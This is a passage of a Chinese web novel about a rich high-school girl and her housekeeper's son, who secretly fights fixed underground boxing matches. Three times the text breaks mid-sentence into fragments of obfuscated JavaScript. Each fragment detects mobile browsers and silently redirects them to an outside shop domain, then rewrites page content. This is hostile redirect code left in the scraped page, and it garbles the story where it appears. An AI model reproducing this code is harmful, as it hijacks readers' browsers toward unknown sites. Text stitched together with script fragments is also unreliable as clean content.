RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727261|144963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行,笑得东倒西歪。 “噢我看见他了!”姜苔眼睛一斜,朝着左上角那边大力地挥手,“沈凛!” 回应她的是沈凛那一桌的应桐和魏柯生,还故意挡着沈凛看过来的视线,在那耍宝逗她。 “……” 姜苔无语。 “这仨人坐一起还怪养眼的。”卢娜点评道,“魏柯生是阳光帅气的正统高富帅!沈凛呢,五官浓墨重彩的,但性格太冷淡了些。至于应桐——” 方好好接话:“是个疯颠美男子。” “他何止疯癫?简直就一神经病!” 姜苔边笑边起身,招呼两个小姐妹一起端着饭盘坐过去。 应桐和沈凛本来就认识,一知道他要转来朗御,就跟他打上招呼了。 坐旁边的魏柯生是应桐朋友,在普高部也是个响当当的风云人物。成绩好,长得帅,性格开朗,和姜苔也很熟。 说来魏柯生这个人在姜苔眼里,也是有点毛病的。 她至今记得第一次见到魏柯生是高一军训,乌泱泱的人流聚集中,她明明是想提醒他鞋带散了。 他带着耳机,她只能多喊几句:“同学!同学?” 谁知道魏柯生将耳机摘下后,突然捂住胸口校牌,牛头不对马嘴地问了句:“是想问我的名字和班级吗?” 姜苔站在原地,被雷得一动不动:“啊?” 魏柯生自信开口:“去表白墙投稿问吧。” 姜苔:“去死。” 魏柯生不可置信地看她:“你谁啊?怎么这么粗鲁?” 姜苔把话还给他:“去问表白墙吧。” “……” 也算是不打不相识了。 - 沈凛开学第一天的午饭,就是在这样吵吵闹闹的氛围里开始的。 有姜苔在的地方,很难不热闹。又加上应桐他们也是活泼的性子,互相嘲讽攻击都是家常便饭。 一旦说不过了,应桐就会使出杀招:“想当年,我们还年轻的时候,你把我喊到——” 姜苔知道他要掀她当初约他在拳击俱乐部后门告白的老底,满脸通红又气愤地喊停战。年少不懂事,才会把草认成宝。 这事儿要是传出来,树敌无数的她还要不要在朗御混了。 方好好一干人都对这后半句话存有疑虑:“每次都这样,当年到底发生了什么?” 身边的沈凛沉默地吃着饭,突然抬了下手。 姜苔唯恐自己这破秘密被暴露,只觉风声鹤唳,手疾眼快把他手臂按下去,急道:“你干什么?你敢说出去你就死定了!” 卢娜看热闹不嫌事儿大:“哇哦,沈凛也知道啊?” “不公平啊姜苔同学。”魏柯生不满意地说,“怎么他都知道,我却不知道。” 姜苔才不搭理他们,耷拉着圆溜的眼睛,很不高兴地继续威胁:“沈凛,你站在哪一边?” 应桐贱兮兮地说:“当然站在我们男人——” 话没说完,已经被沈凛淡声一句“我拿水杯”给打断。他自始至终都没有太大的情绪变化,长睫耷垂着,薄唇抿得紧。漫不经心又好看的一张脸,表情都寡淡。 姜苔把手边的水杯给他推过去,还是莫名被他这样弄得有点不爽。明明她好心带朋友们过来一起玩的,他怎么这个态度? 沈凛让她不开心了。 姜苔从不受气,当场就要发作。 看他快吃完了,她鼓着腮帮嚼薯条,把自己碗里没动的一大块猪扒夹过去:“我吃不下了,不要浪费。” 桌上的其他几个人都眼观鼻鼻观心,大概都在猜测他们关系到底有多亲近。不过看出姜苔不是在开玩笑,大家也识趣地没继续闹。 反观沈凛看着餐盘里多出来的那块猪扒,本来要去放碗的他又拿起了叉子,低着头继续吃。 他没有不快,也没有表露出半分不情愿,棱角凌厉的侧脸,整个人却格外沉静。认真吃着东西的模样,像一潭阒寂的水。 就这样,姜苔心情稍稍平复下来,像是被无声地哄好了。 气氛又恢复如常,大家有一搭没一搭地聊天。 沈凛也终于吃完,看见姜苔别别扭扭地给他的水杯加满了水,一脸不在意似的推了过来。 他温声接过:“谢谢。” 姜苔轻哼了一声,注意力很快被应桐说的八卦给吸引。红艳的唇瓣湿漉漉地微张开,食指抵着下巴,笑得清纯又娇憨。 眼前的这些人,他从来只是在她聊天时的嘴里听过名字,但现在似乎也加入了自己的生活圈里。 沈凛不动声色地端起空餐盘离开。 刚走到放置碗筷的地方,肩上被打了一下,是班里的学委,也是沈凛的同桌:“哎,新同学,我刚是不是看见你和姜苔坐一起了?” 沈凛转过头朝刚才那张餐桌那边看,应桐和方好好已经走了,但他们的空位上又被几张陌生的面孔填补。 姜苔吃东西很慢,慢条斯理地喝了口柠檬水,好像都没察觉到他早就不在旁边。 她的世界人潮拥挤,看不见谁都合情合理。 学委见他没说话,自认为好心地提醒道:“你盯着她干嘛?可别也去追她啊,她脾气臭着呢。” 沈凛收回目光,淡漠又审视地看向他:“你和她很熟?” 学委挠头:“没啊,我认识她,她又不认识我。” 沈凛:“那就闭上嘴。” 6. 第 6 章 姜苔想学的专业和美术有关,因此选修课也是选的视觉艺术,要单独上写生绘画课,放学时间经常不太准。 但今天不一样。 她想起沈凛现在和自己同校,就在出教室前给张叔发了个信息:【沈凛上车了吗?】 张叔:【他说要去做兼职,放学不和我们一块儿了。】 姜苔撇撇嘴,百无聊赖地收起了手机,拎起地上的画架。 等她课程结束,出校门时,张叔已经在车上多等了近一个小时:“今天很辛苦啊,画了这么久。” 姜苔挺着背坐这么久已经精疲力尽。一上车,就像只猫似的侧身躺着蜷起来,抱着靠枕:“嗯,一直控不好水,重新画了好多次。” “瞧你累的,张叔开快点,好回去吃晚饭。” 他笑着刚转动车钥匙,一通电话就打了过来。接完,突然又从后视镜里看了眼姜苔。 姜苔正好瞥到这道奇怪的视线:“怎么了?” 张叔磕巴了声,转移话题:“没,没怎么,该走了。” “我爸的电话吧?”姜苔看向他手里的手机,下巴轻昂,“他说什么了?” “只是问我们多久到家。” “他怎么突然关心起我什么时候回家了?不会又带了女人进家里吧。” “……” 张叔在姜家也待了十几年,斟酌再三:“其实姜总一个人这么些年也难受,你也不能要他人还没过半百,就孤单一辈子啊。” “我知道您觉得我反应过大,但我也没有不让他谈。我就两个要求:1.别带进家。那是我妈咪和他的婚房。2.不准领证和生孩子。”姜苔慢悠悠说完,又反问,“普通家庭的小孩都不愿意要后妈,何况我呢?” 她这两项要求虽然没直接跟姜霆提过,但港城的外祖父母都有为姜苔谋算,旁敲侧击地提醒过这个女婿。 “有后妈就会有后爸,说不定还会有继弟,我爸现在跟我保证说不会再要小孩。但再过几年,他年纪大了,还会记住这份保证吗?” “您在我家也做了很多年了,应该清楚我爸的发家史,离不开我妈咪和外祖父那边的帮助。”姜苔稚气未脱,说不出漂亮体面话,表达也直白,“反正我可不允许其他人来瓜分我妈咪留给我的东西。” 张叔对她说出的这番话有些惊讶,毕竟没怎么见小孩对这些事上心。但转念一想她都十七岁了,外祖又是赫赫有名的霍家,怎么会不懂要圈紧自身利益。 他们国际部的孩子家境好,对私生子、父亲续弦争家产这些不摆在明面上的腌渍事儿也司空见惯。 就算是家庭和睦的独生子女,每天乐呵呵,但保不齐父亲在外都生了好几个小的,离婚也就是一瞬间的事。 “张叔是看着你长大的。你懂得要,懂得守,当然是好事。” 张叔叹口气,又提醒道:“但也别总和你爸对着干,毕竟你们是唯一的血亲。他前几年才查出来高血压。” 姜苔转头看向外面,白皙小巧的侧脸印在车窗玻璃上:“我知道。” - 车一到家门口,张叔还没把车往车库里开,姜苔已经喊着要下车。 她才背着书包下来,就碰上姜霆拿着车钥匙走出别墅大门。彼此对上眼,姜霆有些吃惊:“这么快就到家了?” 显然,他神色慌乱。 姜苔不动声色地捕捉:“嗯,你要上哪儿去?” 他挡着她回屋的路,好像屋子里还有人似的:“我想着回公司一趟儿。” 姜苔也没急着要进门,立定在那,不赞同道:“又要忙工作吗?爹地,你是不是忘记容医生的医嘱了?” 从霍槿瑜离世后,她这几年难得对着他能心平气和,更别说还是用这种小时候喊“爹地”的语气。 看着女儿担心自己,姜霆也有些动容:“没忘。不会熬很晚,只是想起一份合同忘了签。” “不要紧的话就明天再签。”姜苔眼珠子一转,拉住他手,“不如我们去打高尔夫吧,好久没玩了。” 姜霆猝不及防地被她拉着走:“这个点去?苔苔,你刚放学还没吃晚饭。” “我现在不饿,玩会儿球说不定就饿了。” 别墅区的高尔夫球场在后花园方向,平时站在楼顶能看见这一片碧绿草坪和湖泊。周末聚餐时,小区里常有人携家带口过来玩。 6点半到达场地时,没其他人在。 草坪上的霓虹灯都亮了起来,他们坐着球场去往场地。已经有球童在那等着了,但又被姜苔打发走。 姜苔提出的规则是打“大流氓”,意思是球停在哪就从哪开始,不用回到起点挥杆,因此一整个草坪都成了比赛区域。 也不知道是不是故意的,她每一杆都挥得很远,以至于姜霆得跟着她横跨大半个草坪,追着球跑。 男人到底不是正当青年的时期了,又上了一天班,指不定还干了点费体力的其他事儿,很快就气力不足。 姜苔给了他休息时间。 父女俩坐在那喝水,姜苔给他递了毛巾擦汗,语气天真无邪:“爹地,你是不是坐在办公室太久啦?” “是有段时间没运动了。”姜霆笑笑,望着路灯下的一块静谧草坪,感慨道,“等爹地老了,还和苔苔一起生活行吗?再买个大点的别墅,跟陶渊明一样过隐居的闲日子。” 姜苔摇头:“陶渊明才不闲,他自耕自种为生,大半的田全用来种酒槽、酿酒喝。那一点点用来种地的田还是他妻子苦苦央求后才拿出来种地,一家人跟着他吃了上顿没下顿。” 姜霆对她的较真表示无奈:“你就欺负爹地没文化,我们家可不会吃不起饭。” 她没再说话。 这一场高尔夫打下来,后来也没再计分。回家时已经太晚,姜霆累得进房间倒头就睡。 家里空荡荡的,姜苔洗过澡下楼,才发现焦莱也已经睡了。但她细心,在桌上留了字条,说姜苔要是饿了就把她喊醒。 客厅静悄悄又黑,姜苔没打算去叫她,正琢磨着要不要自己去冰箱里弄点吃的,就听见楼梯下那间杂物间的门被打开的声音。 穿着睡裙还站在阶梯上的她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727262|144963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就乍然和还没睡的沈凛面面相觑。 房间橙黄的灯光从门口斜了一方出来,沈凛还没睡,短发微潮,身上那件条纹T恤被打湿后襟。 直肩阔背的,漂亮骨骼和肌肉线条都一览无余。 在他之前,姜苔身边最亲近的同辈异性只有小自己一岁的堂弟姜译元。但或许是知道沈凛会打拳赛的缘故,她总觉得他身量格外峭拔有力,棱骨立挺。 就像此刻,他甚至没站直,都有股顶天立地的安全感。 黑暗里透出一丝光亮,她低眸,看向他手里空掉的水杯:“喝水?” “嗯。”沈凛看不清她面色,只缓声问,“饿了?我听张叔说你晚上没吃饭就去打球了。” 姜苔蹬蹬地下楼,走到他跟前,懒洋洋地点头:“好饿,但是焦姨睡了,你会不会煮宵夜?” 他错身而过:“坐那等会儿。” 餐桌离厨房不远,隔着一道敞开的推拉门。 少年人肩宽腰窄,熟练地在电磁炉那热菜。他天生一张寡情的脸,冷峻也少言,像是很多事都不怎么放在心上。 姜苔无事可做地坐在椅子上,也没带手机下来,只撑着下巴看他那道背影发呆。 沈凛把焦莱留下的饭菜热了几道,又给她道了杯温牛奶。 他动作已经尽可能快,但端着汤碗出来时,还是看见姜苔昏昏欲睡的脑袋往下一点、又一点的。 她累坏了,在学校上了一天课,回家还要和亲爹斗智斗勇。洗过澡,透亮肌肤都散着香,头发吹得也囫囵,实在不怎么会亲手照顾自己。 沈凛抿着薄唇瞧她,神情认真又小心翼翼。 姜苔那双带着点孩子气的乌眸在他紧盯着看时,突然睁开了,还带着困劲地喊他名字:“沈凛,好了吗?” 他手一惊,不小心将那杯带着牛奶的杯子摔在地上。 她也下意识被惊得抬高了脚,嘴里脱口而出地咕哝一句:“哇,碎碎平安。” 杯子摔得七零八碎,在安静的大客厅显得像道噪声。沈凛打开了灯,蹙着眉头,急忙去看她脚踝:“抱歉,我没拿稳。” 或许摔了个杯子这件事对他来说很大。 但姜苔并不在意地开口:“没关系啊。你先把勺子给我,我要吃饭了。” 她稍稍提了下被溅湿的裙摆,在喝汤时又觉得好笑,倏地说:“沈凛,我的裙子上有一股牛奶味。” 沈凛扫完碎玻璃垃圾,转过头:“要脱下来吗?我现在去洗。” “不用啦,明天换下来给焦姨收拾。”她打着哈欠吃饭,拍了拍旁边位置,“你饿吗?坐下来一起吃吧。” 他想拒绝,但看着她耷拉着眼睛又没说出口,只好盛了汤坐在她边上。 姜苔吃了几口,又问:“沈凛,你早上在哪儿吃的饭?” “街边,早餐店。” “以后吃早饭也一起吧,你要坐在我边上吃,我喜欢有人陪我一起吃饭。”姜苔想了想,又补充道,“而且你不会吧唧嘴。” 他敛着眉喝汤,心想这是不是大小姐给的殊荣。 7. 第 7 章 已经是初秋,但城市暑气不减。校园里叫嚣了一整个夏天的蝉倒是都入土为安,也令上学的日子在平淡中多着一丝清静的无聊。 国际部教学楼偏远,姜苔平时也不怎么往普高部走,但总能从应桐这个“百晓生”那听到全校的大、小八卦。 毕竟他可是表白墙皮下管理层的骨干。 其中八卦里,自然包括初来乍到却很受欢迎的沈凛。 “你都不知道,我一登录那个号,一天下来能有三、四条都是投稿他的。说他乐于助人、拾金不昧;说他讲题水平堪比老师;还有说他长得很帅,拒绝人的时候都很有礼貌……” 应桐靠在B班教室的后门那,侃侃而谈:“而且你别说,沈凛那小子不声不响的,居然还挺有好人缘,人气都快超过小柯成为年级第二了。” 姜苔纳闷:“年级第二?第一是谁?” 应桐拍拍胸口:“这儿,你桐哥。” “……滚啊!” 不过对于沈凛受欢迎,姜苔不太意外:“沈凛是这样的啊,不喜欢和陌生人说话,看着有点高冷。但其实脾气很好,有求必应的,人也很有耐心。” 她很早之前就发现了。 沈凛的个性和她算是完全相反,也互补。 “他有耐心?”应桐想起当时去拳击俱乐部报名团课,让沈凛陪练的情景。摇摇头,“我和你认识的可能不是同一个沈凛。” 姜苔扭过脸看他,话锋一转:“表白墙最近没人提我吗?” “有啊。”应桐嘴角一歪,笑着滑动屏幕,“这有一个抓拍你的,哎哟怎么把我们姜大小姐拍得这么难看啊!投稿来问你书包挂件的链接呢……这还有一个,指名道姓骂你的,说你辩论课上嗓门大——” 姜苔听得满头黑线,作势要抢他手机:“别说了!我早晚炸掉你们这个助纣为虐的破墙!” “你玩不起啊?” 应桐回身一闪,灵活地躲开她的手。 正好上课铃响,男生飞快跑回自己班上。姜苔“戚”了声,回到位置上。 老师还没来,倒是卢娜跑过来喊她:“苔苔,我跟你说个事儿!下周你们学生会要选新闻部部长了,你记得给我投票啊。” 国际部的学生会内部根据选修课程分了好几个部门。 像姜苔选的绘画课,属于视觉艺术部。卢娜打算读的专业是传媒,因此是新闻部,平时会负责校报刊登和给校园官网拟稿。 朗御私高学生会的权限很大,包括但不限于使用公共班费举办校园活动、号召学生投票选择任课老师的课程安排,甚至调动教师岗位。 担任“官职”,也能在申请大学的文书CV里成为锦上添花的一笔。 但因为“手握重权”,各大部门部长都要经过层层选拔,并通过内部表决。其中会长和副会长都拥有一票否决权。 姜苔就是副会长,听到是说这件事,点了头:“放心吧,我让她们都给你过。” 卢娜一脸感动:“谢谢宝贝,过了我请你喝东西!” 姜苔把她推回去,无所谓道:“客气什么,我俩谁跟谁啊。” - 这周绘画课程改画岩彩,姜苔上手很快。但下个月有期中考试,为了高绩点,不能一心扑在选修课上了。 她有一门在及格线上苦苦挣扎的数学微积分需要临时抱个佛脚。 姜苔出校门很早,上了车,却让张叔别这么快开。 “等小凛啊?”张叔不解,“不是说了他晚上要打工,不和我们一起吗?” 姜苔吸着果冻,靠着车窗看校门口:“我知道!噢,他出来了,我们跟着他。” “……” 放学高峰期,出出进进都是车流和人流。 沈凛背着个陈旧的黑色单肩包,高峭身影在人群里鹤立,正往马路尽头的公交站台走,昏金色的夕阳落在他肩上。 傍晚的风微微吹过少年上衣,布料在那瞬间紧贴身体,腰身线条紧韧。 下一刻,衣摆又被他伸手抻平整了。 公交站这的人不少,等了约两分钟,一行人陆续上车。 车门那的阶梯高,前面一个女生绊了脚,往后倒了几步。被身后的沈凛及时用手背支撑住后脊,这才站稳。 沈凛收回手。 女生转身,看见他时有些惊讶,红着脸又跟他多说了几句话,看口型是在道谢。 姜苔磨了磨牙,把嘴里的水果粒给嚼碎了。心不在焉地想:看来表白墙上说他人缘好名不虚传。 张叔看那辆公交车开了,虽然不懂为什么要跟,但还是踩了油门跟在后面。 六个站台之后,到了熟悉的老街巷。地面石板路坑坑洼洼的老城区,因拆迁钉子户没能成功改造,纵横交错的巷子也四通八达。 沈凛下了车,轻车熟路地进巷子里,身影很快消失。 车开不进巷口。 张叔问她多久回来,要不要他跟着。 姜苔摆手,从车后座里抽出来一件连帽卫衣:“今天可能会久一点,快出来了我给您发信息。” 张叔看着她这变装的架势,不免担心:“沈凛在里面是干什么的?” 他知道这块地方之前是个烂尾的商场楼,后来开发商跑路了,也不知道有没有后续。这块地方的广场在节假日还有人摆摊,建筑里面也有商家入驻。 张叔猜测是开了几间台球室、网吧什么的。 姜苔也没傻到实话实说,随口答了句:“就网管,我进去打几把游戏。” 她把卫衣穿好,帽子也戴上。拉链更是拉到底,遮住了下半张脸,鬼鬼祟祟地摸进去了。 没建完的商场外部确实有烧烤、地摊,往里走是没开张的画室、美睫美甲店等。据她了解,拳击俱乐部开在二楼。 但比赛擂台是在地下室的二楼。 她按了电梯直通B2,电梯门上已经贴着拳击赛的宣传单。 一出电梯门就听见内场至少几百号人的呼声,透过厚重的黑色幕布传到走廊外面。门口杵着两个保安,向她伸手要票。 姜苔拿出钱包,压低嗓音问:“我现场买可以吗?” 保安上下看了看她,看似围得严实,但下半身的百褶裙和小靴子一看就是学生。 他们早就习惯了这里经常出现些什么观众,懒得多管闲事,只说道:“今天不是娱乐赛,都卖光了。” 不是娱乐赛就代表着在赌输赢,观众会压砝码、下注。听到里面又在亢奋不已地尖叫,估计都开始好几场比赛了。 姜苔灵光一闪,从口袋里掏出一张应桐在这报班的VIP卡:“我是这里的学员,交了几年年费的那种!” “……” 两个保安互相对视一眼,把布帘给她掀开了。 里面至少有两个电影院的大小,座位也是高梯低阶的排布,270度围着打拳赛的铁网八角笼,观众席第一排是打分的边裁们。 姜苔来得晚,找半天才在侧边找到一个视角不太好的空位。 她之前从来没有深入了解过这里,但也和她想象中差不多。观看席上几乎都是青年和中年男人,烟味、汗味夹杂在一起形成一股脚臭味。 刚比完一场,大屏幕上显示着胜败方的比分,新一轮即将开始。 姜苔一抬眼,看见了两边拳手的身高、体重信息和正在投注的比例。 与此同时,通往擂台的通道上分别走出来两个人。 其中一个裸着上身,左胳膊有个青色的老虎头纹身,他吊儿郎当地走上擂台,边走边在观众席的欢呼声里秀招式。 而另一个穿着无袖背心、黑色运动裤的年轻男生,是沈凛。 两个人体重相差无几,但沈凛比对面这人高了快半个头。 他手上是暗红色的拳击绑带,臂膀的薄肌流畅利落,青涩锋锐的面部轮廓被现场越来越暗沉的气氛灯晕染着。 姜苔习惯了他平时薄唇抿直、无欲无求的淡漠样。可这时候,他凌厉立体的五官才还原了些与生俱来的攻击性。 台裁上前确认选手状态,做了几个准备开始的动作,随即在一片加油声中吹响了口哨。 在这之前,姜苔也不了解拳击赛应该要怎么评分。 她小时候练过空手道,可后来嫌累嫌苦,没继续练下去。迅速上网搜了下要打三个回合,三分钟内决出胜负。 从沈凛挥出第一拳开始,对面那个老虎头就一直被迫防守,看上去落于下风。灯光下,他们绷紧的肩背都格外清晰。 两人在八角笼中央缠斗,场外也有好为人师喊着该怎么打的观众。 老虎头一个格挡,却没扛住沈凛出其不意的左旋腿侧踹,快摔的力道重得将他直接踹飞到铁笼围栏上,护齿都差点飞出来。 台裁插.入,站在两人之间喊停,让老虎头先把快掉了的护齿调整好。 铁链再度发出的“哐当”响声,被场下喊“衰”声盖住。有攻必有守,有守则有破,自由搏击哪有不挨打的。 在沈凛下颚挨了对面一记直拳时,姜苔就已经闭上眼不敢看。她后悔进内场,也受不了这种血.腥.暴力的肉.搏。 又突然想起今天这场比赛打完,沈凛脸上肯定会留痕迹。 其实之前他有比赛的话也难免会受伤,身体被长袖长裤遮着看不到,但下巴,鼻梁那会有略微青肿。 不过他在家时间不多,个子那么高,今年体检都快到一米九。焦莱也很少会仰头去仔细端详他这张脸。 沈凛又总是一副淡薄样,看上去就不像会玩拳击运动的人。 身边人里,除了姜苔都没谁再发现过。 耳边是重重的喘气声、观众的尖叫声、扼腕和叫骂声。直到哨声再次吹响,终于结束了。 她松开握紧的手,睁开眼。 沈凛输了。 - 下一场比赛即将开始,换了两个新拳手。姜苔再也在那坐不住一秒,去往老地方守株待兔——俱乐部那道无人问津的后门。 吱呀老旧的铁门在她等了近半个小时后才打开。 沈凛冲过凉,换了身干净的衣服。头上也多了一顶棒球帽,刻意将额前碎发也压低,仿佛试图挡住嘴角和下颌的伤口。 他关门那一刻,才瞥到角落里蹲着的姜苔,怔住许久。 姜苔脚蹲麻了,拉着他青筋虬结的手臂起身:“干嘛不说话?被打傻了?” 沈凛垂眸:“你怎么在这?” “本来找你有事,就跟着过来了。”她抬头看他,如实道,“没想到你们有比赛,我就混进去看了几分钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727263|144963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 姜苔说到这,突发奇想地摁了摁他泛红的下颌角:“为什么今天打这么凶?” “今天……那是俱乐部合伙人招来的新拳手。”他眉间因为疼痛蹙得更深,却没阻止她没个轻重的手,“走吧,先回去。” 刚下楼梯,那道后门又被打开了—— “哎,那个谁?”身后的人,是刚才在拳击台上的老虎头纹身,“喊你呢,走这么快干嘛?” 姜苔听着这道聒噪的声音,回过头。 老虎头的语调在看见她这一刻就变了:“我说怎么走这么快呢,女朋友来了啊。” 姜苔乖巧地摇摇头:“我不是他女朋友。” “那敢情好啊,交个朋友?”老虎头和沈凛看着差不多大,但眉宇间满是混了很久社会的气质,“你也真是的!刚才在台上对不住啊,我没收住手。” 后面这几句抱歉的话是对沈凛说的。 但他眼睛直勾勾地盯着姜苔。 老虎头脸上挂彩其实更严重,可他丝毫不觉尴尬,又顶着这张猪头脸来问:“妹妹刚才有看比赛吗?下次来这,报哥名字……” 姜苔没耐心听,转过脸来,一本正经地问沈凛:“我最近是不是变丑了很多?怎么这种档次的都敢找我聊天。” “……” 老虎头那嘴一下就收住,气得走上前,一点也装不住:“哎他娘的,你这小婊.子怎么说话的?别以为你好看我就不舍得打你啊!” 沈凛握住她肩往身后扯,在她都没反应过来时,就提起老虎头的衣领往墙上撞。 老虎头下意识反抗,沈凛抬腿踹在他膝盖上,将人直接踹跪下了,以绝对力量的压制让他一时动弹不得。 他嗓音哑,黑眸狠戾:“嘴巴放干净点。” 老虎头都愣住了,不服气地喊:“你、你松开,刚刚是我没准备好……你有本事再来一次!” 叫嚣声在后门再次推开时停止,又来了个男人:“你俩干什么啊?大杰,老板找你。” 沈凛松了手,老虎头在那人视线下也没再轻举妄动,揉着抽筋的腕骨恶狠狠留下一句“给老子等着。” 老虎头上了楼,跑到男人面前不知道是在告状还是在说什么。 沈凛捡起书包。 回头,看见姜苔正一动不动地盯着他:“你还真能打赢啊。” 刚才看拳赛初期她就觉得不对劲,沈凛和老虎头对战时有几拳让得太明显。 他脑子在动,会预判对方的下一拳在哪。所以刚开始才会给人一种轻松的感觉,也因此,结束后才会有这么多人在不可置信地谩骂。 姜苔双手抱胸,不紧不慢地下定论:“那你果然是在打.假拳赚黑.钱。” 沈凛先是回头看了眼二楼,见他们还在聊天没看这边,才诧异地接上她的话:“你还知道这个词?” 什么意思?! 姜苔感觉被他看轻,气哄哄:“我去年就有自己名下的注册公司了,跟着我爹地去了不下十次商业晚宴,暑假还学了财务走帐的基本流程,你以为我是笨蛋吗?” 沈凛看着她的较真模样,嘴角微扯,轻轻笑了下:“不是,大小姐英明。” 不常说这种话的人,偶尔说上一句还挺有杀伤力。何况他这会儿脸上带伤,笑起来有股勉为其难的脆弱感。 姜苔确实被哄到了,“哼”了声,大发慈悲地指指二楼的楼梯那:“那个人,在喊你过去。” 老虎头已经进去了,还剩下刚才那个男人在他们视线范围内,沈凛也走回他面前。 姜苔俯身捡起他掉下的拳击绑带,看向楼梯那。 沈凛这样赚钱,利润应该不低。 可是他依然会收焦莱给的生活费,宁愿住在楼梯下那个小房间也不出去租房。难道是不想让母亲担心,在默默攒大学学费吗。 她脑子里在乱七八糟地想事,不自知地缠着手里那根暗红色绑带。只感觉站了好一会儿,可他们还在聊。 姜苔在楼下等得很不耐烦,仰着脑袋,把他那名字变着花样喊:“好了没啊?” “沈凛,回家吃饭了!” “沈凛,沈凛凛!” “沈小凛,沈小凛……” 二楼这的全子把这周的工资给沈凛结完,也有点受不了女孩那嗓子,表情扭曲:“挖槽,这女的在喊你什么啊,沈小凛?” 沈凛面无表情,没理他,把书包拉链拉上。 全子看着比自己都高不少的少年,好笑地重复问道:“沈小凛?我真服你们这些情人眼里出西施的,你到底哪里小了?” “……” 沈凛背过书包,转身离开:“我先走了。” 姜苔看他下了楼才停止嚎叫,右手手背和指骨上的拳击绑带已经照猫画虎地绑紧了。 见他走到自己面前,她二话不说打了一拳他的胸口:“你和那男的聊什么要聊这么久啊,看不见我一直在等啊!” 沈凛闷哼一声,捂着胸口,微微伏低了肩背。 姜苔见他这样,震惊地看了眼自己的拳头,语无伦次道:“绑上,绑上这个,就会变很大力气吗?” “不会。”沈凛一秒站直,声线平稳,“骗你的。” “……” 气得姜苔又梆梆给了他两拳。 8. 第 8 章 其实,姜苔口中所谓的打假.拳不是一件见不得人的事,而是整个拳击俱乐部心照不宣的潜规则。 有赌注就会有庄家,俱乐部对于下注的观众们来说就是这个稳赚不赔的庄家。简而言之,老板想捧哪个新拳手,场上的胜负就由他来定。 沈凛虽然在俱乐部打了好几年,但他怎么说都还小,又只是兼职,从来只是在馆内打热场拳和娱乐赛,随时能脱手不干。 和签了长期合约的那个老虎头不同。 刚才在场上与其说是比赛,不如说是一场捧新拳手上位的表演。但自信满满的老虎头并不知情,才会大言不惭来挑衅。 姜苔之前从来没深入接触过他的这些事,听他三言两语地解释完,皱皱鼻梁:“万一事情败露,这些人闹事怎么办?你还是高中生呢。” 沈凛黑眸平静:“对,我只是个高中生。” “……” 言下之意是,因为还是个学生,其他更赚钱的路子找不到。但也正如此,俱乐部真出事了,和他一个学生也扯不上太大关系。 快要绕出巷子时,天色暗了下来,夕阳早就看不见影。 姜苔突然站住,睫毛轻煽:“有没有闻到香味?” 沈凛还没开口,她已经从一阵烧烤和炒面的气味里精准闻出了自己喜欢的小吃:“是炸双皮奶!” 巷子口这的张叔正开着车门,听见她这话:“还是回家吃饭吧,外面小摊子的不能吃。” 或许因为霍槿瑜生前做生物科研,对饮食卫生很重视,从小就不让姜苔吃路边摊。但她偶尔馋了,还是会背着司机保姆在偷偷买。 不过现下被张叔盯着。 姜苔也没办法,撇撇嘴上了车。 回头一看,沈凛不知道哪儿去了,也不在车边。 坐在驾驶位上的张叔摇了摇头,有点对这俩小孩无奈的语气:“忘记你有帮手了。” 姜苔疑惑地“啊”了声,没听懂。 接着另一侧车门被拉开,沈凛上身探进后座,问:“我坐这可以吗?” 姜苔不明所以地点头:“嗯。” 车开动时,沈凛把买来的那份炸双皮奶放在他们中间的手扶上。姜苔惊喜地瞪大眼,又心虚地看了眼“毫不知情”的张叔。 她手上的拳击绑带还没解开,另一只手已经拿起叉子了。 沈凛低声提醒:“烫。” 他也知道姜苔不被允许吃高糖高油的路边摊,所以买的小份。又示意她手抬起来,伸手帮她解绑带。 姜苔小口咬着双皮奶上的炸酥外壳,一边神色自若地聊天:“好难解,我缠了好多圈。” “你绑错了。”沈凛把绑带拆开,在她手上做示范,“这里要贴掌根,绕手腕过来。交叉,在拳峰关节上缠几圈。” 他睫羽低耷,藏在帽檐下的神情及其专注。捏着暗红色绑带的手指修长笔直,骨节清晰。男生手掌宽大,显得她的手腕倒娇小玲珑。 他们除了体型,就连肤色差异也明显。 姜苔嘴里还在嚼,却鬼使神差地碰碰他拳峰。握拳打拳的位置有伤口在,摸着并不平滑。 沈凛顿了下,掀起眼皮看她:“怎么了?” “很粗糙。”姜苔又飞快摸了摸他的指腹,“这是茧吗?” “嗯。” 他把绑带取下来,也收回了手,转过头看向车窗外面。身侧的姜苔猫着腰还在吃,脸颊一鼓一鼓的。 模样全倒映在车窗玻璃上。 - 因为脸上挂彩,怕被追根究底地问,吃晚饭的时候,沈凛特意和焦莱错开了时间。他本来一般也都在外面吃,今天是和姜苔一块回来了。 沈凛洗过澡,在房间擦药时,房门突然被推开。 狭窄房间里弥漫着一股淡淡的消炎药水味。 为了散味道,他还特意开了窗户。外面正对着的是后花园,焦莱正在不远处的角落里浇花剪枝。 姜苔没有敲门。 不是故意的,而是她压根没有在家敲门的概念。 